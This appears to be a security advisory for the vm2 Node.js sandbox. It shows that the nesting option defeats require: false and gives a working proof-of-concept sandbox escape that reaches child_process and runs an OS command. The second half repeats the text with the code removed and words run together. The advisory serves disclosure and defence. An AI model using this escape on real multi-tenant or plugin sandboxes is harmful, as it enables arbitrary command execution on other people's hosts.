Summary
When a NodeVM is created with nesting: true, sandbox code can unconditionally require('vm2') regardless of the outer VM's require configuration — including require: false. With access to vm2, the sandbox constructs a new inner NodeVM with its own unrestricted require settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a NodeVM with nesting: true is fully compromised.
Details
The vulnerability is in how the nesting: true option interacts with the legacy module resolver.
lib/nodevm.js:96-99 — NESTING_OVERRIDE is a special builtin map that injects the vm2 package into the sandbox:
const NESTING_OVERRIDE = Object.freeze({
__proto__: null,
vm2: vm2NestingLoader
});
lib/nodevm.js:268-269 — When nesting: true, this override is passed into the resolver factory alongside the host's require options:
const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
requireOpts,
nesting && NESTING_OVERRIDE, // ← injected when nesting:true
this._compiler
);
lib/resolver-compat.js:193-197 — This is the vulnerable branch. When require: false is set, requireOpts is falsy, so !options is true. Without nesting the function returns DENY_RESOLVER (block everything). With nesting, it instead builds a resolver that includes vm2 from NESTING_OVERRIDE:
function makeResolverFromLegacyOptions(options, override, compiler) {
if (!options) {
if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all
// BUG: require:false + nesting:true reaches here
// override (NESTING_OVERRIDE) is applied, making vm2 available
const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable
}
// ...
}
lib/builtin.js:102-106 — NESTING_OVERRIDE is merged unconditionally into builtins, overriding any user-configured allowlist:
if (overrides) {
const keys = Object.getOwnPropertyNames(overrides);
for (const key of keys) {
res.set(key, overrides[key]); // vm2 always injected when nesting:true
}
}
The result: require('vm2') always succeeds inside a NodeVM with nesting: true, regardless of require: false, require: { builtin: [] }, or any other restriction. Once the sandbox has vm2, it creates a new inner NodeVM with whatever require config it chooses — unconstrained by the outer VM — and reaches child_process.
This was introduced in commit 2353ce60 (Feb 8, 2022) and survived a major refactor in commit 9e2b6051 (Apr 8, 2023). The JSDoc for nesting does warn that "scripts can create a NodeVM which can require any host module," but does not document that nesting: true silently defeats require: false, which is the non-obvious part of this interaction.
PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
const { NodeVM } = require('vm2');
// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });
const result = vm.run(`
// Step 1: require('vm2') succeeds despite require:false on the outer VM
const { NodeVM: NVM } = require('vm2');
// Step 2: create an inner NodeVM with attacker-chosen require config
// This inner VM has no relation to the outer VM's restrictions
const inner = new NVM({ require: { builtin: ['child_process'] } });
// Step 3: execute arbitrary OS command in the inner VM
module.exports = inner.run(
'module.exports = require("child_process").execSync("id").toString()'
);
`);
console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...
Observed output (confirmed on Node v22.22.1, vm2 commit 8dd0591):
uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)
The variant with require: false also works — the outer VM's require setting has no effect:
new NodeVM({ nesting: true, require: false }).run(`
const { NodeVM: NVM } = require('vm2');
module.exports = new NVM({ require: { builtin: ['child_process'] } })
.run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...
Narrow builtin allowlists are also bypassed. require: { builtin: ['path'] } still allows require('vm2') when nesting is enabled.
Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a NodeVM with nesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.
What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets require: false to lock down modules, then adds nesting: true to allow child VM creation, will believe the sandbox is restricted. It is not — require: false is silently overridden and the sandbox has unrestricted OS access.
Note: nesting: true must be set by the host. This is not a zero-cooperation escape from a default NodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: false should mean deny all), and the existing warning in the docs does not surface the require: false bypass specifically.
References
Summary
When a
NodeVMis created withnesting: true, sandbox code can unconditionallyrequire('vm2')regardless of the outer VM'srequireconfiguration — includingrequire: false. With access tovm2, the sandbox constructs a new innerNodeVMwith its own unrestrictedrequiresettings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside aNodeVMwithnesting: trueis fully compromised.Details
The vulnerability is in how the
nesting: trueoption interacts with the legacy module resolver.lib/nodevm.js:96-99—NESTING_OVERRIDEis a special builtin map that injects thevm2package into the sandbox:lib/nodevm.js:268-269— Whennesting: true, this override is passed into the resolver factory alongside the host'srequireoptions:lib/resolver-compat.js:193-197— This is the vulnerable branch. Whenrequire: falseis set,requireOptsis falsy, so!optionsis true. Without nesting the function returnsDENY_RESOLVER(block everything). With nesting, it instead builds a resolver that includesvm2fromNESTING_OVERRIDE:lib/builtin.js:102-106—NESTING_OVERRIDEis merged unconditionally into builtins, overriding any user-configured allowlist:The result:
require('vm2')always succeeds inside aNodeVMwithnesting: true, regardless ofrequire: false,require: { builtin: [] }, or any other restriction. Once the sandbox hasvm2, it creates a new innerNodeVMwith whateverrequireconfig it chooses — unconstrained by the outer VM — and reacheschild_process.This was introduced in commit
2353ce60(Feb 8, 2022) and survived a major refactor in commit9e2b6051(Apr 8, 2023). The JSDoc fornestingdoes warn that "scripts can create a NodeVM which can require any host module," but does not document thatnesting: truesilently defeatsrequire: false, which is the non-obvious part of this interaction.PoC
Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).
Observed output (confirmed on Node v22.22.1, vm2 commit
8dd0591):The variant with
require: falsealso works — the outer VM's require setting has no effect:Narrow builtin allowlists are also bypassed.
require: { builtin: ['path'] }still allowsrequire('vm2')when nesting is enabled.Impact
Who is affected: Any application that runs untrusted or user-supplied code inside a
NodeVMwithnesting: true. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.
Severity: The mental model mismatch is the core danger. A developer who sets
require: falseto lock down modules, then addsnesting: trueto allow child VM creation, will believe the sandbox is restricted. It is not —require: falseis silently overridden and the sandbox has unrestricted OS access.Note:
nesting: truemust be set by the host. This is not a zero-cooperation escape from a defaultNodeVM. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (require: falseshould mean deny all), and the existing warning in the docs does not surface therequire: falsebypass specifically.References